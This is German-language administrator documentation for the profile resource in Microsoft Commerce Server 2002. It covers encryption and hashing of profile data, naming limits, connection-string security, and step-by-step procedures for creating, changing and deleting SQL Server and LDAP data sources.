
Die asymmetrische Verschlüsselung wird für Daten verwendet, die zu einem späteren Zeitpunkt entschlüsselt werden müssen. Dieses Verschlüsselungsschema verwendet zur Verschlüsselung ein Schlüsselpaar: der öffentliche Schlüssel verschlüsselt Daten, und ein entsprechender geheimer Schlüssel, der private Schlüssel, entschlüsselt sie.

Zum Verwenden der asymmetrischen Verschlüsselung gehen Sie i. d. R. wie folgt vor:

  • Fügen Sie verschlüsselbare Profileigenschaften mit Business Desk hinzu.
  • Erstellen Sie öffentliche und private Schlüssel.
  • Ändern Sie den Anwendungscode, um:
    • dem Profildienst und dem OLE DB-Provider für Commerce Server die im Verschlüsselungsprozess verwendeten Token bereitzustellen
    • Eigenschaften zu verschlüsseln
    • Eigenschaften zu entschlüsseln
  • Migrieren Sie Daten zu einem neuen Paar aus öffentlichem und privatem Schlüssel.

Unidirektionale Hashfunktionen

Ein unidirektionaler Hash wird verwendet, um Daten zu verbergen bzw. zu verschlüsseln, die nicht entschlüsselt werden müssen. Ein Beispiel für Daten, bei denen ein unidirektionaler Hash anwendet wird, ist ein Benutzerkennwort. Commerce Server 2002 verwendet für Hashcodes der Benutzerdaten ein "Salt". Bei einem Salt handelt es sich um eine Zufallszahl von 32 Bit Länge, die den Benutzerdaten beim Erstellen des Hash vorangestellt wird.

Siehe auch

Hinzufügen von verschlüsselten Eigenschaften zum Profildienst

Erstellen eines neuen Cookie-Verschlüsselungsschlüssels


Namens- und Größenbeschränkungen für Profile

Dieses Thema enthält eine Auflistung der Beschränkungen bezüglich des Namens und der Größe der Profilressource.

Profile

Profilobjekt Namens- und Größenbeschränkungen
Name
  • Darf bis zu 127 Zeichen lang sein. Namen mit mehr als 57 Zeichen werden nicht in das Data Warehouse exportiert.
  • Die Zeichen müssen alphanumerisch sein.
  • Der Unterstrich (_) ist zulässig.
  • Leerzeichen sind nicht zulässig.
  • "User" darf nicht als Objektname verwendet werden, da es sich um ein in SQL reserviertes Wort handelt.
Angezeigter Name
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen zum Unicode-Zeichensatz gehören.
Beschreibung
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen zum Unicode-Zeichensatz gehören.

Hinweise

  • Die Summe der Zeichenlängen von Datenquellenname, Datenobjektname und Profilname muss weniger als 110 Zeichen betragen.
  • Der angezeigte Name einer Datenquelle, eines Datenobjekts, eines Datenelements bzw. einer Profildefinition ist änderbar.
Der programmgesteuerte Name einer Datenquelle, eines Datenobjekts, eines Datenelements bzw. einer Profildefinition lässt sich dagegen nicht ändern.

Sitebegriffsgruppen und Sitebegriffe

Sitebegriffsobjekt Namens- und Größenbeschränkungen
Name
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen alphanumerisch sein.
  • Der Unterstrich (_) ist zulässig.
  • Leerzeichen sind nicht zulässig.
Angezeigter Name
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen zum Unicode-Zeichensatz gehören.
Beschreibung
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen zum Unicode-Zeichensatz gehören.

Begriffe (Werte)

Begriffsobjekt Namens- und Größenbeschränkungen
Begriffsname
  • Darf bis zu 127 Zeichen lang sein.
  • Muss alphanumerisch sein.
  • Der Unterstrich (_) ist zulässig.
  • Leerzeichen, Satzzeichen und das Doppelbyte-Zeichensatzformat sind nicht zulässig.
Angezeigter Name
  • Darf bis zu 127 Zeichen lang sein.
  • Die Zeichen müssen zum Unicode-Zeichensatz gehören.


Empfohlene Vorgehensweisen für Profile

Im vorliegenden Thema finden Sie Tipps für die Erstellung und Verwaltung von Profilen in der Commerce Server-Profilressource.

  • Verwenden Sie die folgenden Minimalberechtigungen für die Verbindungszeichenfolge von Profildienst_ADQuelle zu Active Directory:
    • Domänenbenutzer in der Domäne
    • Erstellen, Löschen, Lesen und Zurücksetzen von Kennwörtern für den Basis-URL der Organisationseinheit

    Wenn Sie kein Konto mit der Berechtigung zum Erstellen des Basis-URLs der Organisationseinheit verwenden, müssen Sie den Basis-URL der Organisationseinheit manuell erstellen, bevor Sie die Site entpacken.

    Wenn Sie die Verbindungszeichenfolge für die globale Ressource ADQuelle in einen normalen Benutzer mit delegierten Berechtigungen (Vollzugriff) für den SupplierAD-Container ändern, können mithilfe von Business Desk zwar Benutzer, aber keine Organisationen erstellt werden. Die für die Erstellung von Organisationen notwendige NTSicherheitsbeschreibung wird nur zurückgegeben, wenn der Benutzer Administrator oder Mitglied der Domänenadministratoren ist bzw. für ihn die Sicherheitsrichtlinie "Überwachungs- und Sicherheitsprotokoll verwalten" gilt.

  • Zum Speichern eines Profils in Active Directory muss das Profil die Eigenschaften "cn" und "SAMKontoname" für das vorkonfigurierte Benutzerprofil enthalten.

    Diese Minimaleigenschaften sind nötig, um den Active Directory-Beschränkungen zu genügen. In Abhängigkeit vom Profildefinitionstyp können gegebenenfalls andere Eigenschaften erforderlich sein.

  • Verlegen Sie die Veröffentlichung von Profiländerungen in Ihrer Website nach Möglichkeit auf Zeiten, zu denen die Website nicht so stark frequentiert ist.

    Wenn Sie Profiländerungen in Ihrer Website während der Spitzenzeit veröffentlichen, führt dies mit hoher Wahrscheinlichkeit zum Absturz der Site.

  • Um alle derzeit von der Site verwendeten Sitebegriffe anzuzeigen, führen Sie das Skript "SiteTerms.vbs" aus, das im Microsoft Commerce Server 2000 Resource Kit enthalten ist.

    Zum Abrufen von Sitebegriffen aus dem Profilkatalog stellt Commerce Server 2002 die BusinessDataAdmin2::GetSiteTerms Method-API (englische Sprache) bereit.


Konfigurieren der Verbindungszeichenfolge für die Profilressource

Mit Commerce Server-Manager können Sie die Verbindungszeichenfolge der Profilressource ändern. Die Verbindungszeichenfolge der Profilressource wird beim Entpacken festgelegt und in der Verwaltungsdatenbank gespeichert.

Hinweis

  • Wenn eine einzige, beliebige Zeichenfolge geändert wird, werden alle Verbindungszeichenfolgen in der Profilressource aktualisiert.

So ändern Sie die Verbindungszeichenfolge der Profilressource

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Profile (Servername_Datenbankname), und klicken Sie dann auf Eigenschaften.
  2. Markieren Sie im Dialogfeld Eigenschaften von Profile (Servername_Datenbankname) auf der Registerkarte Verbindungszeichenfolgen die zu ändernde Verbindungszeichenfolge, und klicken Sie dann auf Ändern.
  3. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften auf der Registerkarte Verbindung die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie in der Dropdownliste einen Servernamen aus, oder geben Sie den Pfad des Servers ein, auf dem sich die Datenbank befindet, auf die Sie zugreifen möchten.
    Aktualisieren | Klicken Sie hierauf, um die Serverliste zu aktualisieren.
    Integrierte Sicherheit von Windows NT verwenden Wählen Sie diese Option aus, um festzulegen, dass der Provider eine sichere (bzw. vertrauenswürdige) Verbindung zu einem SQL Server-Computer anfordern soll, auf dem Microsoft Windows NT ausgeführt wird.

    Diese Konfiguration wird bei einer sicheren Site empfohlen.
    Spezifischen Benutzernamen und Kennwort verwenden Wählen Sie diese Option aus, um einen Benutzernamen und ein Kennwort zur Authentifizierung Ihrer Anmeldeinformationen gegenüber der Datenquelle festzulegen.

    Bei einer sicheren Site wird von dieser Option abgeraten.
    Benutzername Geben Sie die Benutzer-ID ein, die bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.

    Diese Option wird nicht empfohlen.
    Kennwort Geben Sie das Kennwort ein, das bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.

    Bei einer sicheren Site wird von dieser Option abgeraten.
    Leeres Kennwort | Wählen Sie diese Option aus, um die Rückgabe eines leeren Kennworts in der Verbindungszeichenfolge durch den Provider zu ermöglichen.
    Speichern des Kennworts zulassen Wählen Sie diese Option aus, um das Speichern des Kennworts mit der Verbindungszeichenfolge zuzulassen. Ob das Kennwort mit der Verbindungszeichenfolge gespeichert wird, ist von der Funktionsweise der aufrufenden Anwendung abhängig. Wenn das Kennwort gespeichert wird, wird es nicht maskiert und nicht verschlüsselt zurückgegeben und gespeichert.

    Bei einer sicheren Site wird von dieser Option abgeraten.
    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie diese Option aus, um den Datenbanknamen einzugeben, dem Sie die Datenquelle zuordnen, oder wählen Sie den Datenbanknamen in der Dropdownliste aus.
    Datenbankdatei als Datenbanknamen anfügen | Verwenden Sie diese Option nicht. Commerce Server bietet keine Unterstützung für SQL Server, Version 6.5 oder frühere Versionen.
    Folgenden Dateinamen verwenden | Verwenden Sie diese Option nicht. Commerce Server bietet keine Unterstützung für SQL Server, Version 6.5 oder frühere Versionen.
    Verbindung testen | Klicken Sie auf diese Option, um eine Verbindung zur angegebenen Datenquelle herzustellen. Wenn die Verbindung fehlschlägt, stellen Sie sicher, dass die Einstellungen korrekt sind. Verbindungsfehler können durch Tippfehler und Nichtbeachtung der Groß-/Kleinschreibung verursacht werden.
  4. Klicken Sie auf OK, um wieder zum Dialogfeld Eigenschaften von Profile (Servername_Datenbankname) zu gelangen.
  5. Um Ihre Änderungen zu speichern und zur Eigenschaftenseite zurückzukehren, klicken Sie auf OK.

Die an der Verbindungszeichenfolge vorgenommenen Änderungen werden auf die Profilressource angewendet.

Siehe auch

Informationen zur Profilressource

Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die Profilressource


Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die Profilressource

Wenn Sie im Commerce Server-Manager die Profilressource verwenden, um die Verbindung zu einer auf einem Remotecomputer gespeicherten Profildefinition herzustellen, gibt der Remotecomputer den Inhalt des Feldes ConnStr der Tabelle SourceDef im Klartext zurück. Dieser Inhalt bezeichnet die Verbindungszeichenfolgen zu Datenquellen, in denen Profildaten gespeichert sind. Dies ist ein Sicherheitsrisiko. Jeder, der den Netzwerkverkehr überwacht, kann somit auf diese Verbindungszeichenfolgen zugreifen und vertrauliche Profildaten abrufen.

Um die Verbindungszeichenfolgen zur Profildatenbank zu sichern, stehen Ihnen zwei Optionen zur Verfügung:

  • Konfigurieren Sie die Profilressource so, dass die integrierte Sicherheit von Windows verwendet wird. Dies ist die empfohlene Konfiguration.
  • Wenn Sie die SQL-Authentifizierung verwenden müssen, stellen Sie die Verschlüsselung für die Named Pipes bereit: Verwenden Sie die IPSec-Authentifizierung, aktivieren Sie die SSL-Verschlüsselung (Secure Sockets Layer), und aktivieren Sie die Multiprotokoll-Clientverschlüsselung. Eine entsprechende Anleitung finden Sie in der Onlinedokumentation für SQL Server.


Verwalten von Datenquellen in Profilressourcen

Mit der Profilressource können Sie die von Ihnen erstellten Datenquellen ändern. So können Sie z. B. Änderungen im Datenspeicher vornehmen, dem Ihre Profileigenschaften zugeordnet sind, wenn Sie veraltete Datenobjekte und Datenelemente bearbeiten oder löschen müssen. Die Profilressource kann auch verwendet werden, um die alte Datenquelle zu löschen und eine neue zu erstellen. Sie können Datenquellen, Datenobjekte und Datenelemente ändern und löschen.

Beim Ändern Ihrer Datenquellen gelten die folgenden Einschränkungen:

  • Partitionen können nur zu Datenquellen hinzugefügt werden, die noch nie partitioniert wurden. Sie müssen einer Quelle Partitionen zuweisen, bevor Sie sie zum Speichern von Daten verwenden. Wenn Sie eine Quelle partitionieren, die Daten enthält, gehen die vorhandenen Daten verloren.
  • Datenquellenpartitionen können nicht gelöscht, aber geändert werden. Beim Ändern der Partitionen einer Datenquelle, die Daten enthält, ist äußerste Vorsicht geboten. Änderungen können in diesem Fall zu Datenverlusten oder -beschädigungen führen.
  • Wenn Sie eine Datenquelle löschen, können Sie sie nicht wiederherstellen. Alle mit der Datenquelle verknüpften Datenobjekte und Datenelemente werden ebenfalls gelöscht. Sie müssen die Profildefinitionen, die den gelöschten Datenelementen zugeordnet sind, dem Datenspeicher mit vorhandenen Datenelementen neu zuordnen.
  • Wenn Sie ein Datenobjekt löschen, können Sie es nicht wiederherstellen. Alle mit dem gelöschten Datenobjekt verknüpften Datenelemente werden ebenfalls gelöscht. Sie müssen die Profildefinitionen, die den gelöschten Datenelementen zugeordnet sind, dem Datenspeicher mit vorhandenen Datenelementen neu zuordnen.
  • Wenn Sie ein Datenelement löschen, können Sie es nicht wiederherstellen. Sie müssen die Profildefinitionen, die dem gelöschten Datenelement zugeordnet sind, dem Datenspeicher mit einem vorhandenen Datenelement neu zuordnen.

Dieser Abschnitt enthält folgende Themen:

  • Erstellen einer neuen Datenquelle in der Profilressource
  • Hinzufügen eines benutzerdefinierten Attributs zu einer Datenquelle
  • Ändern einer Datenquelle
  • Hinzufügen eines neuen Datenobjekts in der Profilressource
  • Ändern eines Datenobjekts
  • Hinzufügen eines neuen Datenelements in der Profilressource
  • Ändern eines Datenelements


Erstellen einer neuen Datenquelle in der Profilressource

Mit der Profilressource fügen Sie neue Datenquellen zum Speichern von Profildaten hinzu. Mit Profildatenquellen-Partitionen ordnen Sie Ihren Datenspeichern Profildaten zu. Bei Datenspeichern kann es sich um OLE DB-Datenbanken oder um LDAP-Quellen (Lightweight Directory Access Protocol) handeln.

Mit Datenquellen können Sie Profildefinitionen Datenbanken oder LDAP-Quellen zuordnen. Sie können die Datenquelle partitionieren, um die Profildefinitionen mehreren Datenspeichern zuzuordnen. Sie müssen eine Datenbank oder LDAP-Quelle erstellen, bevor Sie eine Datenquelle erstellen können. Die Profilressource nimmt keine Änderungen an dem zugrunde liegenden Datenspeicher vor. Sie müssen etwaige Schemaänderungen direkt in der Datenbank bzw. im LDAP-Speicher vornehmen.

Die folgenden Informationen sollten Sie bei der Erstellung einer Datenquelle berücksichtigen:

  • Sie müssen zusammen mit einer neuen Datenquelle mindestens eine Partition erstellen.
  • Alle Partitionen in einer einzelnen Datenquelle müssen vom selben Typ sein (OLE DB-Datenbanken oder LDAP-Quellen).
  • Alle einer einzelnen Datenquelle zugeordneten Datenspeichervorrichtungen (OLE DB-Datenbanken oder LDAP-Quellen) müssen über identische Schemas verfügen.
  • Bei Commerce Server-Datenquellen werden insgesamt maximal 128 Partitionen unterstützt.
  • Sie können Partitionen nicht aus einer Datenquelle löschen. Wenn es nötig ist, Partitionen aus einer Datenquelle zu löschen, müssen Sie die gesamte Datenquelle löschen und eine neue Datenquelle ohne die Partitionen erstellen.
  • Sie müssen eine Partition in einer Datenquelle als Standardpartition kennzeichnen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Von Profilressourcen nicht unterstützte OLE DB-Treiber
  • Erstellen einer neuen Datenquelle mit einer SQL Server-Datenbankpartition
  • Erstellen einer neuen Datenquelle mit einer LDAPv3-kompatiblen Quellpartition


Von Profilressourcen nicht unterstützte OLEDB-Treiber

Feedback zu dieser Seite senden Commerce Server 2002

Von Profilressourcen nicht unterstützte OLE DB-Treiber

Beim Erstellen eines neuen Profildatenspeichers müssen Sie den OLE DB-Provider angeben. Einige der im Dialogfeld Datenverknüpfungseigenschaften aufgeführten OLE DB-Treiber werden nicht von der Profilressource unterstützt. Die folgenden Treiber sollten nicht verwendet werden:

  • Microsoft OLE DB Provider für DTS-Pakete
  • Microsoft OLE DB Provider für Indexdienst
  • Microsoft OLE DB Provider für Internet Publishing
  • Microsoft OLE DB für einfache Pakete
  • Microsoft OLE DB Provider für Microsoft Site Server-Suche
  • Microsoft OLE DB Provider für Commerce Server

Wenn Sie einen dieser Treiber im Dialogfeld Datenverknüpfungseigenschaften auswählen, wird möglicherweise eine Fehlermeldung von Microsoft Datenverknüpfung angezeigt, die besagt, dass der Provider nicht mehr verfügbar ist.


Erstellen einer neuen Datenquelle mit einer SQLServer-Datenbankpartition

Feedback zu dieser Seite senden Commerce Server 2002

Erstellen einer neuen Datenquelle mit einer SQL Server-Datenbankpartition

Sie können eine neue Datenquelle erstellen, die eine SQL Server-Datenbankpartition beinhaltet.

So erstellen Sie eine neue Datenquelle mit einer SQL Server-Datenbankpartition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile (Servername_Datenbankname) und Profilkatalog, klicken Sie anschließend mit der rechten Maustaste auf Datenquellen, und klicken Sie dann auf Neue Datenquelle.
  2. Nehmen Sie im Dialogfeld Neue Datenquelle die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Datenquelle ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die Datenquelle angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die Datenquelle ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf Weiter.
  4. Wählen Sie im Dialogfeld Datenquelle in der Dropdownliste Quellentyp den Eintrag OLEDB-ANSI_Provider aus, und klicken Sie auf Weiter.
  5. Wählen Sie im Dialogfeld Partitionen die Option Partitionierte Datenquelle aus, um die Datenquelle zu partitionieren, und klicken Sie anschließend auf Hinzufügen.
  6. Klicken Sie im Dialogfeld Partition auf Bearbeiten.
  7. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften auf der Registerkarte Provider den Provider Microsoft OLE DB Provider für SQL Server für Ihre Datenquelle aus, und klicken Sie anschließend auf Weiter.
  8. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften auf der Registerkarte Verbindung die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie in der Dropdownliste einen Servernamen aus, oder geben Sie den Pfad des Servers ein, auf dem sich die Datenbank befindet, auf die Sie zugreifen möchten.
    Aktualisieren | Klicken Sie hierauf, um die Serverliste zu aktualisieren.
    Integrierte Sicherheit von Windows NT verwenden | Wählen Sie diese Option aus, um festzulegen, dass der Provider eine sichere (bzw. vertrauenswürdige) Verbindung zu einem SQL Server-Computer anfordern soll, auf dem Microsoft Windows NT ausgeführt wird.
    Spezifischen Benutzernamen und Kennwort verwenden | Wählen Sie diese Option aus, um einen Benutzernamen und ein Kennwort zur Authentifizierung Ihrer Anmeldeinformationen gegenüber der Datenquelle anzugeben.
    Benutzername | Geben Sie die Benutzer-ID ein, die bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.
    Kennwort | Geben Sie das Kennwort ein, das bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.
    Leeres Kennwort | Wählen Sie diese Option aus, um die Rückgabe eines leeren Kennworts in der Verbindungszeichenfolge durch den Provider zu ermöglichen.
    Speichern des Kennworts zulassen | Wählen Sie diese Option aus, um das Speichern des Kennworts mit der Verbindungszeichenfolge zuzulassen. Die Funktionsweise der aufrufenden Anwendung bestimmt, ob das Kennwort mit der Verbindungszeichenfolge gespeichert wird. Wenn das Kennwort gespeichert wird, wird es nicht maskiert und nicht verschlüsselt zurückgegeben und gespeichert.
    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie diese Option aus, um den Datenbanknamen einzugeben, dem Sie die Datenquelle zuordnen, oder wählen Sie den Datenbanknamen in der Dropdownliste aus.
    Datenbankdatei als Datenbanknamen anfügen | Verwenden Sie diese Option nicht. Commerce Server bietet keine Unterstützung für Microsoft SQL Server 6.5 oder frühere Versionen.
    Folgenden Dateinamen verwenden | Verwenden Sie diese Option nicht. Commerce Server bietet keine Unterstützung für SQL Server, Version 6.5 oder frühere Versionen.
    Verbindung testen | Klicken Sie auf diese Option, um versuchsweise eine Verbindung zur angegebenen Datenquelle herzustellen. Wenn die Verbindung fehlschlägt, stellen Sie sicher, dass die Einstellungen korrekt sind. Verbindungsfehler können durch Tippfehler und Nichtbeachtung der Groß-/Kleinschreibung verursacht werden.
  9. Klicken Sie auf OK, um wieder zum Dialogfeld Partition zu gelangen.
  10. Geben Sie im Dialogfeld Partition im Feld Partitionsname den Namen der Partition ein. Wenn Sie diese Partition als Standardpartition festlegen möchten, klicken Sie auf Standardpartition und anschließend auf Weiter.
  11. Klicken Sie auf Fertig stellen, um wieder zum Dialogfeld Partitionen zu gelangen.
  12. Klicken Sie auf Weiter, um das Dialogfeld Benutzerdefinierte Attribute zu öffnen.
  13. Klicken Sie auf Fertig stellen, um das Dialogfeld zu schließen. Informationen zum Hinzufügen benutzerdefinierter Attribute zur Datenquelle finden Sie unter Hinzufügen eines benutzerdefinierten Attributs zu einer Datenquelle.

Die Datenquelle wird gespeichert. Sie können jetzt Partitionen, benutzerdefinierte Attribute und Datenobjekte zur Datenquelle hinzufügen.


Erstellen einer neuen Datenquelle mit einer LDAPv3-kompatiblen Quellpartition

Sie können eine neue Datenquelle mit einer LDAPv3-kompatiblen Quellpartition erstellen.

So erstellen Sie eine neue Datenquelle mit einer LDAPv3-kompatiblen Quellpartition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile (Servername_Datenbankname) und Profilkatalog, klicken Sie anschließend mit der rechten Maustaste auf Datenquellen, und klicken Sie dann auf Neue Datenquelle.
  2. Nehmen Sie im Dialogfeld Neue Datenquelle die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Datenquelle ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die Datenquelle angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die Datenquelle ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf Weiter.
  4. Wählen Sie im Dialogfeld Datenquelle in der Dropdownliste Quellentyp den Eintrag LDAPv3-kompatible Quelle aus, und klicken Sie auf Weiter.
  5. Wählen Sie im Dialogfeld Partitionen die Option Partitionierte Datenquelle aus, um die Datenquelle zu partitionieren, und klicken Sie anschließend auf Hinzufügen.
  6. Klicken Sie im Dialogfeld Partition auf Bearbeiten.
  7. Nehmen Sie im Dialogfeld LDAP-Verbindungszeichenfolge die folgenden Einstellungen vor:
    Option | Aktion
    Server | Geben Sie den Namen des Servers ein, auf dem die LDAP-Quelle gespeichert ist.
    Port | Geben Sie den Anschlussnamen ein. Der Standardanschluss ist 389.
  8. Klicken Sie auf OK, um wieder zum Dialogfeld Partition zu gelangen.
  9. Nehmen Sie im Dialogfeld Partition die folgenden Einstellungen vor:
    Option | Aktion
    Standardpartition | Wählen Sie diese Option aus, um diese Partition als Standardpartition zu bestimmen.
    Benutzername | Geben Sie den Benutzernamen ein, den Sie zum Zugriff auf die LDAP-Quelle verwenden. Wenn Sie einen Active Directory-Server verwenden, geben Sie den Benutzernamen im Format domäne\benutzername ein.
    Kennwort | Geben Sie das Kennwort ein, das Sie zum Zugriff auf die LDAP-Quelle verwenden.
  10. Klicken Sie auf Weiter, um das Dialogfeld Systemattribute zu öffnen.
  11. Nehmen Sie im Dialogfeld Systemattribute die folgenden Einstellungen vor:
    Option | Aktion
    Übergeordneter URL | Geben Sie den Speicherort in der LDAP-Verzeichnisstruktur an, an dem Ihre Daten gespeichert werden sollen.
    Dieselben Informationen für alle Benutzer verwenden | Wählen Sie diese Option aus, um festzulegen, dass die Profilressource für Bindungen an LDAP-Quellen immer dieselben Anmeldeinformationen verwenden soll. Wenn diese Option nicht gewählt wird, verwendet die Profilressource die Informationen des aktuellen Benutzers.
    Einfache Bindung zulassen | Wählen Sie diese Option aus, um das Kennwort im Klartext zu übertragen. Diese Option ist nicht sehr sicher, wird jedoch von einigen Verzeichnisdiensten gefordert.
    Dynamischer Container | Wählen Sie diese Option aus, um eine Verbindung zu einem dynamischen Speicher wie ILS (Internet Locator Service) herzustellen.
    Einzelebene | Wählen Sie diese Option aus, um den Standardsuchbereich auf das aktuelle Verzeichnis einzustellen.
    Unterstruktur | Wählen Sie diese Option aus, um den Standardsuchbereich auf das aktuelle Verzeichnis einschließlich Unterverzeichnissen einzustellen.
    Domänenname | Geben Sie den Domänennamen des Servers ein, wenn Sie Active Directory verwenden.
    Erkennen | Klicken Sie auf diese Option, um den Domänennamen suchen zu lassen.
  12. Klicken Sie auf Weiter.
  13. Klicken Sie auf OK, um wieder zum Dialogfeld Partition zu gelangen.
  14. Klicken Sie auf Fertig stellen, um das Dialogfeld zu schließen. .

Die Datenquelle wird gespeichert. Sie können jetzt Partitionen, benutzerdefinierte Attribute und Datenobjekte zur Datenquelle hinzufügen.

Siehe auch

Hinzufügen eines benutzerdefinierten Attributs zu einer Datenquelle

Informationen zur Profilressource

Hinzufügen eines neuen Datenobjekts in der Profilressource

Hinzufügen eines neuen Datenelements in der Profilressource

Verwalten von Datenquellen in Profilressourcen


Hinzufügen eines benutzerdefinierten Attributs zu einer Datenquelle

Mit der Profilressource fügen Sie benutzerdefinierte Attribute zur Datenquellenpartition hinzu. Benutzerdefinierte Attribute sind anwendungsspezifisch.

In der Regel werden die Attribute, die für alle Profildefinitionen oder Datenspeicher gelten, in der Tabelle ClassDef oder SourceDef gespeichert. Es kann jedoch bestimmte Attribute geben, die nur für bestimmte, ausgewählte Datenquellenobjekte gelten.

Sie können z. B. ein benutzerdefiniertes Attribut erstellen, um die Sortierreihenfolge von Datenquellen oder Partitionen von Datenquellen beizubehalten, oder um eine Übereinstimmung mit anderen Objekten wie Element- und Quellendefinitionsobjekten zu gewährleisten.

Benutzerdefinierte Attribute für Datenquellen sind nur innerhalb der Profilressource verfügbar. Sie können nicht mithilfe des Business Desk-Profilmoduls hinzugefügt werden.

So fügen Sie Datenquellenpartitionen benutzerdefinierte Attribute hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile (Servernamen_Datenbankname), Profilkatalog und Datenquellen, klicken Sie mit der rechten Maustaste auf die Datenquelle, die die Partition enthält, für die Sie ein benutzerdefiniertes Attribut hinzufügen möchten, und klicken Sie anschließend auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Eigenschaften von <Datenquelle> auf der Registerkarte Partitionen die Partition aus, zu der Sie ein benutzerdefiniertes Attribut hinzufügen möchten, und klicken Sie auf Bearbeiten.
  3. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Benutzerdefinierte Attribute auf Neu, um der Datenquelle Attribute hinzuzufügen.
  4. Nehmen Sie im Dialogfeld Benutzerdefiniertes Attribut die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für das Attribut ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie Namen ein, der für das Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Attribut ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Geben Sie einen Wert für das Attribut ein.
  5. Klicken Sie auf OK, um das benutzerdefinierte Attribut zu speichern.
  6. Klicken Sie auf OK, um die Partitionsinformationen zu speichern.
  7. Klicken Sie auf OK, um zu Commerce Server-Manager zurückzukehren.

Die Profildefinition wird mit dem benutzerdefinierten Attribut gespeichert.


Ändern einer Datenquelle

Mit der Profilressource ändern Sie die Eigenschaften einer Datenquelle.

Sie können die folgenden Eigenschaften einer Datenquelle ändern:

  • Angezeigter Name
  • Beschreibung

Wenn Sie den programmtechnischen Namen der Datenquelle ändern möchten, müssen Sie die Datenquelle löschen und dann mit dem geänderten programmtechnischen Namen neu erstellen.

So ändern Sie den Anzeigenamen von Eigenschaften einer Datenquelle

So löschen Sie eine Datenquelle

So ändern Sie den Anzeigenamen von Eigenschaften einer Datenquelle

Hinweis

  • Sie können den angezeigten Namen einer Datenquelle ändern. Der programmtechnische Name einer Datenquelle kann jedoch nicht geändert werden.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Datenquellen, klicken Sie mit der rechten Maustaste auf die Datenquelle, die Sie ändern möchten, und klicken Sie anschließend auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Eigenschaften von <Datenquelle> auf der Registerkarte Allgemein die folgenden Einstellungen vor:
    Option | Aktion
    Angezeigter Name | Bearbeiten Sie den Namen der Datenquelle. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung der Datenquelle. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf OK, um Ihre Änderungen zu speichern und zu Commerce Server-Manager zurückzukehren.

Die Datenquelle wird einschließlich der Änderungen gespeichert. Sie können die Verbindungszeichenfolge einer vorhandenen Partition ändern oder eine neue Partition hinzufügen, die vom selben Typ wie die Datenquelle ist (LDAP oder OLE DB).

Informationen zum Hinzufügen einer neuen Partition bzw. zum Bearbeiten einer vorhandenen Partition bei OLE DB-ANSI-Providern finden Sie unter So fügen Sie eine neue SQL Server-Datenquelle hinzu. Informationen zum Hinzufügen einer neuen Partition bzw. zum Bearbeiten einer vorhandenen Partition bei LDAPv3-kompatiblen Quellen finden Sie unter So erstellen Sie eine neue Datenquelle des Typs "LDAPv3-kompatible Quelle".

So löschen Sie eine Datenquelle

Vorsicht

  • Wenn Sie eine Datenquelle löschen, können Sie sie nicht wiederherstellen.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Datenquellen, klicken Sie mit der rechten Maustaste auf die Datenquelle, die Sie löschen möchten, und klicken Sie anschließend auf Löschen.
  2. Klicken Sie im Bestätigungsdialogfeld Datenquelle löschen? auf Ja.

Die Datenquelle sowie alle zugehörigen Datenobjekte und Datenelemente werden gelöscht.


